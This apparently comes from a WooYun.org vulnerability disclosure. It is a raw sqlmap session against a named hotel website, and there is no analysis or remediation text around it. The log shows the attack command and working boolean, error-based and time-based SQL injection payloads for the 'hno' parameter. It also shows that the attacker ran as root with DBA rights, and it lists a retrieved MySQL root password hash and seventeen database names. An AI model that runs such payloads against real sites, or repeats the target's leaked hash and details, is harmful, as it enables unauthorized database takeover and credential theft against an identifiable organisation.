WooYun.org

[root@Hacker~]# Sqlmap Sqlmap sqlmap.py -u "http://www.cingjing.com.tw/sub/pjh.asp?hno=112" --dbs --passwords --current-user --current-db --is-dba
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all appl
[*] starting at 11:21:21
[11:21:22] [INFO] resuming back-end DBMS 'mysql'
[11:21:22] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: hno
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: hno=-3540 OR (1437=1437)#
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: hno=112 AND (SELECT 6763 FROM(SELECT COUNT(*),CONCAT(0x7162687a71,(SELECT (CASE WHEN (6763=6763) THEN 1 ELSE 0 END)),0x7169627671,FLOOR(RAND
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: hno=112 AND SLEEP(5)
---
[11:21:23] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: MySQL 5.0
[11:21:23] [INFO] fetching current user
[11:21:23] [INFO] retrieved: root@localhost
current user:    'root@localhost'
[11:21:23] [INFO] fetching current database
[11:21:23] [INFO] retrieved: dbforhotel
current database:    'dbforhotel'
[11:21:23] [INFO] testing if current user is DBA
[11:21:23] [INFO] fetching current user
current user is DBA:    True
[11:21:23] [INFO] fetching database users password hashes
[11:21:24] [INFO] the SQL query used returns 5 entries
[11:21:27] [INFO] retrieved: root
[11:21:27] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0
[11:21:27] [INFO] retrieved: root
[11:21:28] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0
[11:21:28] [INFO] retrieved: root
[11:21:28] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0
[11:21:28] [INFO] retrieved:
[11:21:28] [INFO] retrieved:
[11:21:29] [INFO] retrieved: root
[11:21:29] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] root [1]:
    password hash: *8F5193A299A2DAF5042290B9A10E1284C8600CE0
[11:21:32] [INFO] fetching database names
[11:21:32] [INFO] the SQL query used returns 17 entries
[11:21:32] [INFO] resumed: information_schema
[11:21:32] [INFO] resumed: cja
[11:21:32] [INFO] resumed: db
[11:21:32] [INFO] resumed: dbcount
[11:21:32] [INFO] resumed: dbforguestbooks
[11:21:32] [INFO] resumed: dbforhotel
[11:21:32] [INFO] resumed: dbformb
[11:21:32] [INFO] resumed: dbformbbooks
[11:21:32] [INFO] resumed: dbforpanel
[11:21:32] [INFO] resumed: dbforweb
[11:21:32] [INFO] resumed: dbforwork
[11:21:32] [INFO] resumed: download
[11:21:32] [INFO] resumed: imagebooks
[11:21:32] [INFO] resumed: mysql
[11:21:32] [INFO] resumed: performance_schema
[11:21:32] [INFO] resumed: test
[11:21:32] [INFO] resumed: user
available databases [17]:
[*] cja
[*] db
[*] dbcount
[*] dbforguestbooks
[*] dbforhotel
[*] dbformb
[*] dbformbbooks
[*] dbforpanel
[*] dbforweb
[*] dbforwork
[*] download
[*] imagebooks
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] user
[11:21:32] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 14 times
[11:21:32] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occura
[11:21:32] [INFO] fetched data logged to text files under 'F:\????\INJECT~1\SQLMAP~1.4\Bin\output\www.cingjing.com.tw'